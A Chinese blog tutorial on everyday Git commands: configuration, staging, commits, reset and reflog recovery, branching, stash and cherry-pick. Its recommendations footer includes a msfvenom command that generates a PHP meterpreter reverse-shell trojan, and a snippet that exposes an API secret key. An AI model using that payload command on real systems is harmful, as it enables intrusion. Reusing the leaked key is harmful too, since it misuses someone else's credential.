配置:

首次安装完git后,需要配置信息

检查配置:

git修改: 

git config --global user.name "Your_username"    重新设置git 
      git config --global user.email "Your_email"

生成公钥和私钥 ssh-keygen -t rsa -C “your_email@example.com”

  id_rsa.pub就是公钥文件

git区域:

工作目录    (git add .)后到    暂存区   (git commit -m '注释')到  git版本库

状态:

使用git status 查看状态

未追踪   (Untracked)

已修改   (modified)

已暂存   (staged)

已提交 (committed)

git status -sb    可以查看冲突的文件,前面有UU标志的就是冲突文件

操作:

1.提交:git commit -m '提交'

git log 查看历史commit的记录

查看下一行内容:回车键或方向键下键

查看上一行内容:y键或方向键上键

查看下一页内容:空格键或PageDown键

查看上一页内容:b键或PageUp键

退出查看:q键

修复式提交:git commit --amend 后会进入编辑模式  :wq保存并退出

优点:不增加新的提交版本情况下,追加到前一次的提交中

2.删除 git rm      在git commit -m ''之后,不想push到远程的文件

git rm 文件     仓库和工作区中删除指定文件(注意:会删除记录和本地文件)

git rm -r 文件夹      git rm和git rm -r慎用!!!,会删除本地

下面两个会经常用到,不会删除本地!!

git rm --cached 文件   只删除仓库中的文件(就是会恢复到未被git add 追踪前)

git rm -r --cached 文件夹  只删除仓库中的文件夹()

注意:上面所有操作后后一定已在提交一次git commit -m '',记录

    3.回退版本 git reset    在git add后,取消追踪

           git reset HEAD 文件名  撤销某一个文件

git reset HEAD .   从暂存区撤销所有文件

特别提醒及注意!!!下面代码会清除本地修改,并且会删除git log指定版本号后面的的版本记录,慎用!!

                   git reset --hard HEAD^ 最近的一次版本

                   git reset --hard 指定版本号     版本号可通过git log查询

不小心用了上面两个,还有解决办法:对于没有commit 就没办法解决

                           1.git reflog 查看所有版本记录

                                

2. 使用 git reset HEAD@{x}    x就是你恢复的版本号,但是恢复后是删除的状态,文件还是没有出现在本地

                           3.使用 git checkout .  放弃本地修改,就会取消删除,文件就会恢复到本地

工作常用流程:

1.git pull 拉取代码 ---->2.git add . 提交本地 3. git commit -m '' 4 git push

git pull 拉取分支:

拉取指定分支到当前本地分支:git pull origin 远程分支名

拉取指定分支到指定本地分支:git pull origin 远程分支名:本地分支名

拉取时,代码冲突方法

1.git stash 保存本地代码版本
2.git pull 更新代码
3. git stash pop 合并冲突代码
4. 本地修改
5. 然后进行git add . 等等一系列操作

查看分支:

git branch  ;查看本地分支

git branch -r  ;查看远程分支

git fetch --all ;  更新本地分支,例如同事B新增一个分支,更新后,本地也能获取

新建分支:

1. git checkout -b yxy 建立分支,并切换 相当于执行git branch yxy 和git checkout yxy两个命令
git branch yxy 创建分支
git checkout yxy 切换分支

2. git push origin yxy 创建和切换完成后需要将新的分支发送到仓库保存

3. git branch --set-upstream-to=origin/yxy yxy 远程分支的名字 本地分支的名字 将远程分支和本地分支建立联系,才能Push代码

合并分支:

//假设当前是master分支
git merge origin/dev 将dev分支代码合并到master分支
合并分支时出现Please enter a commit message to explain why this merge is necessary(请输入提交消息以解释为什么需要合并)
直接按esc 然后输入:wq

删除分支:先要切换至其它分支

git branch -d 分支名称    如果分支没有合并,则不能删除

git branch -D 分支名称   强制删除

git push origin --delete 分支名称 删除远程仓库分支

git fetch --all  更新本地分支情况

git stash用法:当前开发未完成时,需要切换其它分支

将git add . 暂存区的代码删除并缓存起来

git stash 和git stash save 'xxx' 效果一样

git stash list 获取缓存列表

拉取指定的git stash pop stash@`{1`}缓存列表项

也可以使用git stash pop apply stash@`{1`}

pop和 apply 区别:pop会删除list里面的记录,而apply不会

git合并commit 提交记录

这篇文章写的很详细 https://blog.csdn.net/qq_39253370/article/details/124277214

esc   q 退出  i编辑  wq保存 大写ZZ也是保存

git 合并分支的某一个commit代码  git cherry-pick <commit_id>

将一个分支上某个commit合并到另一个分支

例:将dev分支的commit_id 未d54sada55qw5dsadqw8ddf5ef5dasd合并到master分支

1.切换master分支

2.执行cherry-pick命令

3.git push

退回到合并之前 git cherry-pick --abort

git 的基础使用的更多相关文章

  1. git学习基础教程

    分享一个git学习基础教程 http://pan.baidu.com/s/1o6ugkGE 具体在网盘里面的内容..需要的学习可以直接下.

  2. Git入门基础详情教程

    前言 写了一篇文章<一篇文章了解Github和Git教程>还觉得不错,继续写了<为了Github默默付出,我想了解你>,那么继续写Git 基础知识. Git 官网:https: ...

  3. Git使用基础篇

    Git使用基础篇 前言 Git是一个分布式的版本控制工具,本篇文章从介绍Git开始,重点在于介绍Git的基本命令和使用技巧,让你尝试使用Git的同时,体验到原来一个版 本控制工具可以对开发产生如此之多 ...

  4. Git使用基础篇(zz)

    Git使用基础篇 您的评价:          收藏该经验       Git是一个分布式的版本控制工具,本篇文章从介绍Git开始,重点在于介绍Git的基本命令和使用技巧,让你尝试使用Git的同时,体 ...

  5. Mac下Git的基础操作

    目前最火的版本控制软件是Git了吧,今天简单梳理一下Mac下Git的基础操作~~ 一.什么是Git Git是一个分布式代码管理工具,用于敏捷的处理或大或小的项目,类似的工具还有svn. 基于Git的快 ...

  6. Mac 下 Git 的基础命令行操作

    Mac 下 Git 的基础命令行操作 sudo apt-get install git-core //安装Git 用户配置 git config --global user.name "Yo ...

  7. Git及基础命令的介绍以及如何向本地仓库添加文件

    在介绍Git的使用之前,我们得要先来了解一下Git.那么什么是Git? Git是一个版本管理工具(VCS),具有以下的特点: 分布式版本控制: 多个开发人员协调工作: 有效监听谁做的修改: 本地及远程 ...

  8. Git Bash基础使用(初始化)

    前提是在码云上已经新建一个空的项目,可参考:https://www.cnblogs.com/babysbreath/p/9170455.html 1.新建一个目录,存放下载下来的项目,我在D盘新建了一 ...

  9. git的基础使用

    GIT """ 什么是git:版本控制器 - 控制的对象是开发的项目代码 代码开发时间轴:需求1 > 版本库1 > 需求2 > 版本库2 > 版本 ...

  10. Git 实用基础(配置,建库,提交,推送 GitHub)

    Git 实用基础(配置,建库,提交,推送 GitHub) SVN ? Git ? 目前市面上主流的版本控制系统就是 SVN 和 Git . 两者的区别简单通俗地说就是,版本数据是否有在本地. 如果觉得 ...

随机推荐

  1. 监控Windows(生成php木马)

    sudo su 生成木马: msfvenom --platform php -p php/meterpreter/reverse_tcp lhost=192.168.1.9 lport=55555 R ...

  2. 微服务项目Git仓库自动化脚本

    说明 基于微服务项目,产生的的多项目仓库管理脚本. 目录结构 xxxx Xxx1Api/ Xxx2Api/ git_clone_api.sh git_branch_dev.sh git_pull_al ...

  3. 图文并茂基于阿里云linux服务器部署nodejs项目并添加pm2守护nodejs项目运行进程(Linux version 4.19.81-17.1.al7.x86_64)

    首先你要有一台LINIX服务器,登入以后按下面步骤执行命令,可查看系统版本以及配置 查看Linux 内核 通过 uname -a 命令查看系统位数是64位 x86_64表示64位系统, i686 i3 ...

  4. C 语言输出100至200之间的质数(素数)

    题目描述 运行 C 程序,输出 100 至 200 之间的质数. 输入描述 无 输出描述 输出 100 至 200 之间的质数,每行输出一个质数,每个质数前面需要带有序号. 输出样例 解题思路 在&l ...

  5. 使用ProPerties集合存储数据-Properties集合中的方法store

    使用ProPerties集合存储数据 java.util.Properties`继承于Hashtable,来表示一个持久的属性集.它使用键值结构存储数据每个键及其对应值都是一个字符串.该类也被许多Ja ...

  6. drf入门规范、序列化器组件、视图组件、请求与响应

    DRF框架之入门规范 ​ 本篇文章会详细介绍web开发模式.API接口及其接口测试工具.restful规范.还有经常分不清又很重要的序列化与反序列化的部分,初级交接触APIView.Request类. ...

  7. 1月10日内容总结——linux前期知识储备,linux系统、目录、文件相关命令,vi和vim,目录结构

    目录 一.前期必备知识 二.系统运⾏命令 帮助指令 关机/重启命令 三.快捷方式命令 四.⽬录结构与文件相关命令 1.pwd显示当前目录绝对路径指令 2.cd切换到指定目录指令 3.mkdir创建目录 ...

  8. chatGPT vscode 体验

    体验秘钥 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 多人用可能有点卡,重在体验. 自己(中国)想注册账号如下 步骤一:找到入口 搜索Ope ...

  9. ACID和CAP的比较

    https://www.jdon.com/artichect/acid-cap.html 1 简介 事务机制ACID和CAP理论是数据管理和分布式系统中两个重要的概念,很不巧,这两个概念中都有相同的& ...

  10. VeryCapture V1.8.9.5 中文版安装使用教程

    VeryCapture简介 VeryCapture中文版是一款实用的屏幕捕捉工具.VeryCapture最新版持将图钉在桌面.这个功能可以方便图片对比,在写论文或者写文章时比较方便.VeryCaptu ...